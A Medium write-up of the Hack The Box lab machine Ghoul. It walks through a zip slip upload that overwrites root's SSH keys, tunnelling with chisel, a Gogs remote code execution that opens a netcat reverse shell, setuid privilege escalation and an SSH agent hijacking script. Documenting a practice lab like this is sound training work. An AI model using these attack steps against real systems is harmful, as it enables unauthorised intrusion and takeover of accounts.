HacktheBox — Ghoul

Oct 5, 2019 · 17 min read

This is a write-up on how I solved Ghoul from HacktheBox.

Hack the Box is an online platform where you practice your penetration testing skills.

As always, I try to explain how I understood the concepts here from the machine because I want to really understand how things work. So please, if I misunderstood a concept, please let me know.

Image for post
Image for post

About the box

Ghoul is rated hard on HacktheBox. It’s Tokyo Ghoul-inspired and it involves pivoting and tunneling. It also forces you to take down lots of notes of what you encounter during the journey. Overall, I learned techniques/attacks and was able to learn a lot about SSH. The network diagram looks like this:


Initial foothold -> User: An authenticated blog with guessable credentials leads to an image and zip upload page. I perform a zip slip attack to overwrite root’s authorized keys to ssh as root in the machine Aogiri. 
Root: I then enumerate and find a password for an ssh key to log in to kaneki-pc, which has access to a Gogs server. I tunnel the Gogs server to my machine and perform an RCE exploit, leading to 7z file which contains the root password for the kaneki-pc. I then hijack an SSH session on port 2222 to get root.txt.

#Initial Foothold

I first perform an nmap scan on the box

nmap -sV -sC -oA nmap/initial

The results are:

Nmap scan report for
Host is up (0.30s latency).
Not shown: 996 closed ports
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c1:1c:4b:0c:c6:de:ae:99:49:15:9e:f9:bc:80:d2:3f (RSA)
|_ 256 a8:21:59:7d:4c:e7:97:ad:78:51:da:e5:f0:f9:ab:7d (ECDSA)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Aogiri Tree
2222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 63:59:8b:4f:8d:0a:e1:15:44:14:57:27:e7:af:fb:3b (RSA)
| 256 8c:8b:a0:a8:85:10:3d:27:07:51:29:ad:9b:ec:57:e3 (ECDSA)
|_ 256 9a:f5:31:4b:80:11:89:26:59:61:95:ff:5c:68:bc:a7 (ED25519)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Aogiri
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88 - Error report
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I notice that there are 2 ssh services(port 22 and 2222), and 2 web pages(port 80 and port 8080). Notice that the port 8080 requires basic authentication on the realm Aogiri. I first check port 80.

Port 80

Enumerating port 80, all that I found interesting was a blog written by a user named Admin. So if ever I encounter a login page, I will try admin as username with some common passwords.

Running dirsearch.py on the port 80:

I find a /users/login.php.

Trying common credentials:


I’ve tried other credentials and it didn’t work. I move on to port 8080.

Port 8080

Checking port 8080, it requires authentication to the realm Aogiri.

I checked port 8080 and it requires authentication. Trying common passwords, the combination admin:admin works.

Webpage(port 8080)

Image upload
Zip upload

I see that it allows uploads to a server both for image and zip. I first upload a simple photo and check what image formats it allows to be uploaded. I tried to upload a simple jpeg image.

Image for post
Image for post

After a successful upload, the page is redirected to /img.

I then try a GET request:

I get HTTP method GET is not supported.

I then check how the upload is made:

Nothing interesting. Since GET is not allowed, I check through Burp what HTTP verbs are allowed. I send an OPTIONS request to check what HTTP verbs are allowed. Only POST, TRACE and OPTIONS verbs are allowed:

I also check if maybe the uploads are placed under the /img.

I can try uploading files but it will be meaningless if I don’t know if I can access the files. I then move on to the zip upload. I create a zip file with images inside.

I then try to upload the zip to the server.

I tested if the upload goes to /upload/images.zip.

Realizing that I can upload files but cannot identify where it is being uploaded, I checked if it’s vulnerable to a zip slip attack. I recently used this technique from another box.

Zip Slip

I used a zip slip attack on this machine. Basically:

"Zip Slip is a form of directory traversal that can be exploited by  extracting files from an archive. The premise of the directory traversal  vulnerability is that an attacker can gain access to parts of the file  system outside of the target folder in which they should reside."

Knowing that I can upload zip files, I looked for examples and found this link:


You can read more about the zip slip attack here:

Here are samples from the Github repository:

I then tried to upload a zip file, hoping it can “write” files on the server. The intent is to overwrite the root’s authorized keys.

Creating a key pair

I create a key pair using ssh-keygen. This produces a private and public key pair. Take note that for you to be able to ssh in a box, your public key should be an entry in the authorized_keys file under the user’s home directory.

I then download the zip-slip.zip sample, then created an authorized_keys file then add it to the downloaded archive, then renamed the file for the the zip-slip.zip attack.

I then create an authorized_keys file then add it to the downloaded archive, then renamed the file for the the zip-slip.zip attack.

Renaming the file:

root@kali:~/Documents/htb/boxes/ghoul/zipslip# mv ghoul_htb.pub authorized_keys

Adding the file to the zip-slip archive:

root@kali:~/Documents/htb/boxes/ghoul/zipslip# 7z a zip-slip.zip authorized_keys

I then check the contents of the zip file:

root@kali:~/Documents/htb/boxes/ghoul/zipslip# 7z l zip-slip.zipDate      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------ ------------------------
2018-04-15 22:04:42 ..... 20 20 ../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../.
2019-10-03 01:25:32 ..... 563 459 authorized_keys
2018-04-15 19:04:29 ..... 19 19 good.txt
------------------- ----- ------------ ------------ ------------------------
2019-10-03 01:25:32 602 498 3 files

I renamed the authorized_keys file in the archive with the appropriate file name.

root@kali:~/Documents/htb/boxes/ghoul/zip# 7z rn zip-slip.zip authorized_keys '../../../../../../../../../../root/.ssh/authorized_keys'

I then list the contents of the zip file, checking if i rename the file correctly:

Since everything went OK, I upload the zip file:

I then try to ssh into the box using the private key, then authenticated with the password I used to protect it with, and I got in as ‘root@Aogiri’

I check what I have in the /root/ directory.

I then check who are the users in the /home/ director:

root@Aogiri:/home# ls -al
total 36
drwxr-xr-x 1 root root 4096 Dec 13 2018 .
drwxr-xr-x 1 root root 4096 Dec 13 2018 ..
drwx------ 1 Eto Eto 4096 Dec 13 2018 Eto
drwx------ 1 kaneki kaneki 4096 Dec 13 2018 kaneki
drwx------ 1 noro noro 4096 Dec 13 2018 noro

I find that there are 3 user folders namely Eto, kaneki, and noro.


I check what’s inside kaneki’s folder.

Reading the files under the kaneki folder, I can find user.txt and a few notes about a vulnerability in Gogs, and the presence of a test account. It also says that a file server is in the server’s network and that kaneki has access to it.

root@Aogiri:/home/kaneki# cat note.txt 
Vulnerability in Gogs was detected. I shutdown the registration function on our server, please ensure that no one gets access to the test accounts.
root@Aogiri:/home/kaneki# cat notes
I've set up file server into the server's network ,Eto if you need to transfer files to the server can use my pc.
DM me for the access.
root@Aogiri:/home/kaneki# wc -c user.txt
33 user.txt
root@Aogiri:/home/kaneki# cat user.txt

I check authorized_keys of kaneki to see who can ssh as kaneki in this machine.

I see an entry kaneki_pub@kaneki-pc. This indicates that a user named kaneki_pub can ssh in to this machine. I take note of the username kaneki_pub.


Enumerating Eto’s home directory, I find nothing that useful:

root@Aogiri:/home/Eto# cat alert.txt 
Hey Noro be sure to keep checking the humans for IP logs and chase those little shits down!


Enumerating noro’s directory, I see a to-do file.

root@Aogiri:/home/noro# cat to-do.txt 
Need to update backups.

It seems there are backups. I enumerate the var directory and find backups for the keys for the 3 users. I checked the pdf and xlsx files but I think they are rabbit holes.

root@Aogiri:/var# ls
backups cache docs lib local lock log mail opt run spool tmp www
root@Aogiri:/var# cd backups/
root@Aogiri:/var/backups# ls -alR
total 24
drwxr-xr-x 1 root root 4096 Dec 13 2018 .
drwxr-xr-x 1 root root 4096 Dec 13 2018 ..
drwxr-xr-x 1 root root 4096 Dec 13 2018 backups
total 3852
drwxr-xr-x 1 root root 4096 Dec 13 2018 .
drwxr-xr-x 1 root root 4096 Dec 13 2018 ..
-rw-r--r-- 1 root root 3886432 Dec 13 2018 Important.pdf
drwxr-xr-x 2 root root 4096 Dec 13 2018 keys
-rw-r--r-- 1 root root 112 Dec 13 2018 note.txt
-rw-r--r-- 1 root root 29380 Dec 13 2018 sales.xlsx
total 24
drwxr-xr-x 2 root root 4096 Dec 13 2018 .
drwxr-xr-x 1 root root 4096 Dec 13 2018 ..
-rwxr--r-- 1 root root 1675 Dec 13 2018 eto.backup
-rwxr--r-- 1 root root 1766 Dec 13 2018 kaneki.backup
-rwxr--r-- 1 root root 1675 Dec 13 2018 noro.backup

Checking what are these backup files:

root@Aogiri:/var/backups/backups/keys# file *
eto.backup: PEM RSA private key
kaneki.backup: PEM RSA private key
noro.backup: PEM RSA private key

They are PEM RSA which can be converted to rsa private key using the command and using the passwords found in login.php. But I do not need these files because I already have access to their rsa private keys:

openssl rsa -in backupfile -out outputfile 

I then check the html folder. These are the files on port 80.

I then began checking these files under the url. The file secret.php is interesting.


I then check other php files, and this is the login.php file found under the I find credentials of kaneki:123456, noro:password123, and admin:abcdef. Note that Kaneki said an “ILoveTouka” after Noro said he needed access to the remote server.


After this, I realized that I may have skipped some steps, and I tried the passwords found on the login.php file, and the backup key files can be decrypted using the passwords except for the user kaneki. Logging in to the /users/login.php gives us this page:

Checking out the other php files, I find nothing useful. I then decided to move on.

Pivoting to

I then check my IP address, and see what subnet I’m in:

Image for post
Image for post

I notice that my IP is I then perform a ping sweep to see active hosts. I find a new IP which is

root@Aogiri:/# for ip in $(seq 1 254) ; do (ping -c 1 172.20.0.$ip | grep "bytes from"| cut -d':' -f1 | cut -d' ' -f4 &); done

I upload an nmap static binary from here so I can enumerate open ports. Note that this can be done using a for loop also:


I upload it to the machine using SCP and upload it to the tmp directory:

scp -i ghoul_htb nmap root@

Running nmap:

Note that it looks for files that are not present in the machine. I can opt to copy what’s inside my /etc/services, or perform an SSH remote port forward, so I can nmap the host locally from machine. After finding out that SSH is open on, I look into my notes and remember that there is a kaneki_pub user from kaneki-pc. I then tried to ssh using kaneki’s private key and used the string “ILoveTouka” for the password, which was from the secrets.php file earlier, and it worked!


Reading what’s inside the to-do.txt file:

kaneki_pub@kaneki-pc:~$ cat to-do.txt
Give AogiriTest user access to Eto for git.

So I find another username AogiriTest for git.

Checking the /home directory:

Image for post
Image for post

I find 2 users, kaneki_adm and kaneki_pub.

I then check configuration of interfaces:

Notice that the eth1 interface has an ip of I then run another ping sweep to check hosts on the 172.18.0 network. Notice that there is another host on

kaneki_pub@kaneki-pc:~$ for ip in $(seq 1 254); do (ping -c 1 172.18.0.$ip | grep "bytes from" |cut -d ":" -f1 | cut -d " " -f4 &) ; done

I then upload nmap to the kaneki-pc from the Aogiri host by performing another SCP, saving it to the tmp directory:

scp -i /home/kaneki/.ssh/id_rsa nmap kaneki_pub@

Checking the /tmp directory of kaneki-pc:

I see that the nmap is transferred, and some weird folders named ssh-XXXXXXX. I proceed with my nmap:

Running nmap on the, I find 2 ports. Note that I have been waiting for the Gogs service to come out, and Gogs service usually runs in port 3000.

I then tried to check what port 3000 gives:

So port 3000 is the Gogs server. Knowing that an RCE for Gogs was mentioned, I looked up for an RCE. I find this:


Tunneling to

Since we cannot access the host from our Kali machine, and putting the exploit on the containers, I then decided to create a tunnel to port 3000 of Since we do not have ssh credentials for the Gogs server, I then use chisel.

I first knew of chisel from ippsec ❤. Watch his awesome video on Reddish (which he performs a lot of tunneling). You can also refer to this if you want a written form of tunnelling:


Going back, I download first the chisel binary on my machine and reduced the binary file also, to ease up the transferring of files(also on the video and writeup on how to do it).

I first transfer the chisel binary on the kaneki-pc container:

Image for post
Image for post
chisel transfer

I now forward port 3000 of the host.

Basically, I tell the chisel client(kaneki-pc) to connect to my chisel server(my host) AND any traffic sent to port 3001 will be forwarded to the port 3000 on the host The diagram looks like this:

The green line is the chisel connection, and the red line represents any traffic sent to localhost 3001 will be forwarded to port 3000 of the Gogs server.

Accessing localhost:3001:

I cannot try yet the RCE since I don’t have a password for the AogiriTest user. I enumerated and found a password in the /usr/share/tomcat7/conf/tomcat-users.xml from the Aogiri container.

<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
<user username="admin" password="admin" roles="admin" />
<role rolename="admin" />
<!--<user username="admin" password="test@aogiri123" roles="admin" />
<role rolename="admin" />-->

I then tried this password to the Gogs service, and it works!

Before trying the RCE, I first investigate thru Burp how the authentication is being sent:

Notice that it uses the cookie i_like_gogits, which can be used in the RCE. Checking the help of gogsownsz.py:

Reverse shell on Gogs:

Since the Gogs server has no connection to our host, I first tried to upload a static binary of ncat to kaneki-pc, which will catch the shell.

toor@CJ:~/ghoul$ nc -nlvp 9001 < ncat
Listening on [] (family 0, port 9001)
Connection from 38252 received!
toor@CJ:~/ghoul$ md5sum ncat
1b3b9f07acfe786081d4e52ad67e0983 ncat
kaneki_pub@kaneki-pc:/tmp$ cat < /dev/tcp/ > ncat
kaneki_pub@kaneki-pc:/tmp$ md5sum ncat
1b3b9f07acfe786081d4e52ad67e0983 ncat

Now that I have ncat on kaneki-pc, I try the RCE with the syntax

python3 gogsownz.py http://localhost:3000/ -v -C "AogiriTest:test@aogiri123" --rce "nc 9001 -e /bin/bash" -n i_like_gogits

I now get a shell on the Gogs server! Enumerating, I see that I’m the Git user. I quickly check for binaries with setuid set by invoking:

find / -perm -u=s -type f 2>/dev/null
Image for post
Image for post

The /usr/sbin/gosu binary stands out. Checking online leads me to this repository:


Checking its usage:

Image for post
Image for post

I try to run commands as root, and see that it works. I list files under the /root/ directory:

/usr/sbin/gosu root bash -c 'whoami'
/usr/sbin/gosu root bash -c 'ls -al /root/'
total 128
drwx------ 1 root root 4096 Dec 29 2018 .
drwxr-xr-x 1 root root 4096 Dec 13 2018 ..
lrwxrwxrwx 1 root root 9 Dec 29 2018 .ash_history -> /dev/null
lrwxrwxrwx 1 root root 9 Dec 29 2018 .bash_history -> /dev/null
-rw-r--r-- 1 root root 117507 Dec 29 2018 aogiri-app.7z
-rwxr-xr-x 1 root root 179 Dec 16 2018 session.sh

Seeing that there is an interesting 7z file, I then exfil it out of to my local machine.

Investigating aogiri-app

I first run git log and see some commits:

git log 

Enumerating more, to show commits that touch the specified paths, and diffs about the same specified paths inside, I invoke:

git log -p .

I now see a password for kaneki. I tried it to the kaneki-pc to elevate as kaneki_adm and kaneki_pub, it doesn’t work. Even for root.

I then enumerate by checking the ORIG_HEAD:

git show ORIG_HEAD

I see more credentials. I try each passwords to each user and what worked was:


Great. I am now root, and can read a file called root.txt, but its’a troll.. 😫

I first check what’s inside the kaneki_adm directory:


I then check what’s inside the tmp folder and see folders weird directories starting on ssh.

I then run ps aux to see what processes are running:

Notice that there is an ssh connection being initiated to port 2222, but the process dies after some time.


I referenced this blog to know more about the attack:


When you connect to a remote system you can choose if you want your  ssh-agent to be available there too using the ForwardAgent directive. By  forwarding the agent you can move around systems without having to copy  keys everywhere or re-authenticating manually. However, this has a  downside too. If an attacker has root access on any of the systems from  which you have forwarded your agent, he can re-use that socket file to  open new SSH sessions with your information.

I can try to ssh on port 2222 using the credentials used by the root user, by hijacking the agent by storing its SSH_AUTH_SOCK to my env, and adding it to my ssh-agent. I first get a binary of pspy64s to the kaneki-pc, and run it to monitor when the process happens.

When the process happens, I then check for the /tmp folder for agents that appeear when the ssh connections happens. Note that these agents dissapear as when I check the directories again, the agent is gone.

Image for post
Image for post

I then see that the connection happens every 6 minutes:

I then wait for the interval on when the connection is initiated and invoke:

SSH_AUTH_SOCK=/tmp/ssh-XXXXXX/agent.XXX ssh root@ -p 2222

I get to login!

And can now read root.txt.. 😅

root@Aogiri:~# cat root.txt

You can do this also by just scripting and automating the hijack thru this simple script:

#!/bin/bashwhile true; do agent=$(find . -name agent.*)
if [[$agent != '']]; then
echo "$agent"
SSH_AUTH_SOCK=$agent ssh root@ -p 2222

Note that this will trigger a lot of processes, and will be very noisy!

And that’s how I solved Ghoul from HacktheBox! It’s a very long journey but definitely worth it! Thanks for reading! 🍺

InfoSec Write-ups

A collection of write-ups from the best hackers in the…

Sign up for Infosec Writeups

By InfoSec Write-ups

Newsletter from Infosec Writeups Take a look

By signing up, you will create a Medium account if you don’t already have one. Review our Privacy Policy for more information about our privacy practices.


Written by


Penetration Tester | Aspiring Red Team Operator 🇵🇭

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more

Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore

If you have a story to tell, knowledge to share, or a perspective to offer — welcome home. It’s easy and free to post your thinking on any topic. Write on Medium